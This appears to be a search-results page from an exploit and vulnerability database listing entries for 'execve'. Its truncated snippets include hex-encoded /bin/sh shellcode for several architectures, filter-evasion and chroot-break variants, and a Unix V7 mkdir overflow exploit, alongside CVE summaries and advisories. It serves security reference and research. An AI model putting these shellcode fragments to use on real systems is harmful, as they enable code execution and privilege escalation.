1143 matches found
linux/x86 execve /bin/sh 30 bytes
linux/x86 execve /bin/sh 30 bytes. Shellcode exploit for linx86 platform / [email protected] 20 de marzo de 2001 "\x31\xdb" // xorl %ebx,%ebx "\x8d\x43\x17" // leal 0x17%ebx,%eax "\xcd\x80" // int $0x80 "\x31\xd2" // xorl %edx,%edx "\x52" // pushl %edx "\x68\x6e\x2f\x73\x68" // pushl...
linux/x86 execve /bin/sh 30 bytes
Exploit for linux/x86 platform in category shellcode ================================= linux/x86 execve /bin/sh 30 bytes ================================= / email protected 20 de marzo de 2001 "\x31\xdb" // xorl %ebx,%ebx "\x8d\x43\x17" // leal 0x17%ebx,%eax "\xcd\x80" // int $0x80 "\x31\xd2" //...
linux/x86 execve /bin/sh 38 bytes
No description provided by source. / [email protected] execve /bin/sh main char name2; name0="/bin/sh"; name1=NULL; execvename0,name,NULL; / include stdio.h char shellcode= "\xeb\x18" // jmp 0x18 // 3-4 "\x5e" // popl %esi // 5 "\x89\x76\x08" // movl %esi, 0x8%esi // 6-8 "\x31\xc0" // xor...
linux/ppc - execve /bin/sh 112 bytes
linux/ppc execve /bin/sh 112 bytes. Shellcode exploit for linuxppc platform / Linux PPC shellcode execve of /bin/sh by Palante / long shellcode = / Palante's linuxPPC shellcode w/ NULL/ 0x7CC63278, 0x2F867FFF, 0x41BC0054, 0x7C6802A6, 0xB0C3FFF9, 0xB0C3FFF1, 0x38867FF0, 0x38A67FF4, 0x38E67FF3,...
linux/x86 break chroot execve /bin/sh 80 bytes
Exploit for linux/x86 platform in category shellcode ============================================== linux/x86 break chroot execve /bin/sh 80 bytes ============================================== / This is Linux chroot/execve code.It is 80 bytes long.I have some ideas how to make it smaller, but ti...
linux/x86 execve /bin/sh tolower() evasion 41 bytes
Exploit for linux/x86 platform in category shellcode =================================================== linux/x86 execve /bin/sh tolower evasion 41 bytes =================================================== / Linux/x86 tolower evasion, execve /bin/sh eg use: various qpop exploits / include char...
linux/x86 unix/SPARC irix/mips execve /bin/sh irx.mips 141 bytes
linux/x86 unix/SPARC irix/mips execve /bin/sh irx.mips 141 bytes. Shellcode exploits for multiple platform / Shellcode ejecuta execve /bin/sh en Irix/mips, Linux/x86, Unix/sparc by dymitr1 [email protected] / include char code=...
linux/x86 execve /bin/sh 24 bytes
linux/x86 execve /bin/sh 24 bytes. Shellcode exploit for linx86 platform / [email protected] execve/bin/sh. 24 bytes. es lo mas chica que se puede hacer. / char shellcode= "\x31\xc0" // xorl %eax,%eax "\x50" // pushl %eax "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e "\x68\x2f\x2f\x62\x69" ...
RHEL 2.1 : kernel (RHSA-2003:408)
Updated kernel packages that address various security vulnerabilities, fix a number of bugs, and update various drivers are now available. The Linux kernel handles the basic functions of the operating system. The execve system call in Linux 2.4.x records the file descriptor of the executable...
CVE-2004-0618
The provided records identify CVE-2004-0618 as a local-denial-of-service flaw in FreeBSD 5.1 for the Alpha processor. The vulnerability arises when a local user invokes execve with an unaligned memory address as an argument, causing a crash. No remediation or patch details are included in the sup...
CVE-2004-0618
FreeBSD 5.1 for the Alpha processor allows local users to cause a denial of service crash via an execve system call with an unaligned memory address as an argument...
freebsd.local.txt
Security Advisory : FreeBSD local DoS Systems affected: FreeBSD 5.1-RELEASE/Alpha. Other versions are probably vulnerable. FreeBSD 5.1-RELEASE/IA32 is not vulnerable. Not sure about other FreeBSD/arch but they could be vulnerable too. Risk: low Date: 23 June 2004 Legal notice: 1. This Advisory is...
Security Advisory : FreeBSD local DoS
Security Advisory : FreeBSD local DoS Systems affected: FreeBSD 5.1-RELEASE/Alpha. Other versions are probably vulnerable. FreeBSD 5.1-RELEASE/IA32 is not vulnerable. Not sure about other FreeBSD/arch but they could be vulnerable too. Risk: low Date: 23 June 2004 Legal notice: 1. This Advisory is...
UNIX 7th Edition binmkdir - Local Buffer Overflow
UNIX 7th Edition binmkdir - Local Buffer Overflow / Exploit for /bin/mkdir Unix V7 PDP-11. mkdir has a buffer overflow when checking if the directory in /arg/with/slashes/fname exists. This will run /bin/sh with euid 0, but not uid 0. Since the shell doesn't do anything special about this, we don...
FreeBSD 4.105.x - execve() Unaligned Memory Access Denial of Service
FreeBSD 4.105.x - execve Unaligned Memory Access Denial of Service / source: https://www.securityfocus.com/bid/10596/info It is reported that FreeBSD running on the Alpha architecture is susceptible to a denial of service vulnerability in its execve system call. An attacker with local interactive...
FreeBSD 4.10/5.x - 'execve()' Unaligned Memory Access Denial of Service
/ source: https://www.securityfocus.com/bid/10596/info It is reported that FreeBSD running on the Alpha architecture is susceptible to a denial of service vulnerability in its execve system call. An attacker with local interactive user-level access on an affected machine is reportedly able to cra...
CVE-2003-0937
SCO UnixWare 7.1.1, 7.1.3, and Open UNIX 8.0.0 allows local users to bypass protections for the "as" address space file for a process ID PID by obtaining a procfs file descriptor for the file and calling execve on a setuid or setgid program, which leaves the descriptor open to the user...
PT-2003-1958 · Sco · Open Unix +1
Name of the Vulnerable Software and Affected Versions: SCO UnixWare versions 7.1.1, 7.1.3 Open UNIX version 8.0.0 Description: The issue allows local users to bypass protections for the address space file for a process ID by obtaining a procfs file descriptor for the file and calling execve on a...
